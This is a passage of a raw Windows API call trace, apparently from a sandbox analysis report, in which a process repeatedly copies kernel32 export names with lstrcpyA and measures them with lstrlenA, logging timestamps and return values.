returned="BaseCheckAppcompatCache" [0055.319] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0055.319] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0055.319] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0055.319] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0055.319] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0055.319] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0055.319] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0055.319] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0055.319] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0055.319] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0055.319] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0055.319] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0055.319] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0055.319] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0055.320] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0055.320] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0055.320] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0055.320] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0055.320] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0055.320] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0055.320] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0055.320] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0055.320] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0055.320] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0055.320] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0055.320] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0055.320] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0055.320] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0055.320] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0055.320] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0055.320] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0055.320] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0055.320] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0055.320] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0055.320] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0055.320] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0055.320] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0055.320] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0055.320] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0055.320] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0055.320] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0055.320] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0055.320] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0055.320] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0055.320] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0055.320] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0055.320] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0055.320] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0055.320] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0055.321] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0055.321] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0055.321] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0055.321] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0055.321] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0055.321] lstrlenA (lpString="BEEP") returned 4 [0055.321] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0055.321] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0055.321] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0055.321] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0055.321] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0055.321] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0055.321] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0055.321] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0055.321] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0055.321] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0055.321] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0055.321] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0055.321] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0055.321] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0055.321] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0055.321] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0055.321] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0055.321] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0055.321] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0055.321] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0055.321] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0055.321] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0055.321] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0055.321] lstrlenA (lpString="CANCELIO") returned 8 [0055.321] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0055.321] lstrlenA (lpString="CANCELIOEX") returned 10 [0055.321] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0055.321] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0055.321] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0055.322] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0055.322] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0055.322] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0055.322] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0055.322] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0055.322] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0055.322] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0055.322] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0055.322] lstrlenA (lpString="CHECKELEVATION") returned 14 [0055.322] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0055.322] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0055.322] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0055.322] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0055.322] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0055.322] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0055.322] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0055.322] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0055.322] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0055.322] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0055.322] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0055.322] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0055.322] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0055.322] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0055.322] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0055.322] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0055.322] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0055.322] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0055.322] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0055.322] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0055.322] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0055.322] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0055.322] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0055.322] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0055.322] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0055.323] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0055.323] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0055.323] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0055.323] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0055.323] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0055.323] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0055.323] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0055.323] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0055.323] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0055.323] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0055.323] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0055.323] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0055.323] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0055.323] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0055.323] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0055.323] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0055.323] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0055.323] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0055.323] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0055.323] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0055.323] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0055.323] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0055.323] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0055.323] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0055.323] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0055.323] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0055.323] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0055.323] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0055.323] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0055.323] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0055.323] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0055.323] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0055.323] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0055.323] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0055.324] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0055.324] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0055.324] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0055.324] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0055.324] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0055.324] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0055.324] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0055.324] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0055.324] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0055.324] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0055.324] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0055.324] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0055.324] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0055.324] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0055.324] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0055.324] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0055.324] lstrlenA (lpString="COPYCONTEXT") returned 11 [0055.324] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0055.324] lstrlenA (lpString="COPYFILEA") returned 9 [0055.324] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0055.324] lstrlenA (lpString="COPYFILEEXA") returned 11 [0055.324] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0055.324] lstrlenA (lpString="COPYFILEEXW") returned 11 [0055.324] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0055.324] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0055.324] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0055.324] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0055.324] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0055.324] lstrlenA (lpString="COPYFILEW") returned 9 [0055.324] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0055.324] lstrlenA (lpString="COPYLZFILE") returned 10 [0055.324] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0055.324] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0055.324] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0055.324] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0055.325] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0055.325] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0055.325] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0055.325] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0055.325] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0055.325] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0055.325] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0055.325] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0055.325] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0055.325] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0055.325] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0055.325] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0055.325] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0055.325] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0055.325] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0055.325] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0055.325] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0055.325] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0055.325] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0055.325] lstrlenA (lpString="CREATEEVENTA") returned 12 [0055.325] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0055.325] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0055.325] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0055.325] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0055.325] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0055.325] lstrlenA (lpString="CREATEEVENTW") returned 12 [0055.325] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0055.325] lstrlenA (lpString="CREATEFIBER") returned 11 [0055.325] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0055.325] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0055.325] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0055.325] lstrlenA (lpString="CREATEFILEA") returned 11 [0055.325] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0055.325] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0055.325] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0055.326] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0055.326] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0055.326] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0055.326] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0055.326] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0055.326] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0055.326] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0055.326] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0055.326] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0055.326] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0055.326] lstrlenA (lpString="CREATEFILEW") returned 11 [0055.326] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0055.326] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0055.326] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0055.326] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0055.326] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0055.326] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0055.326] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0055.326] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0055.326] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0055.326] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0055.326] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0055.326] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0055.326] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0055.326] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 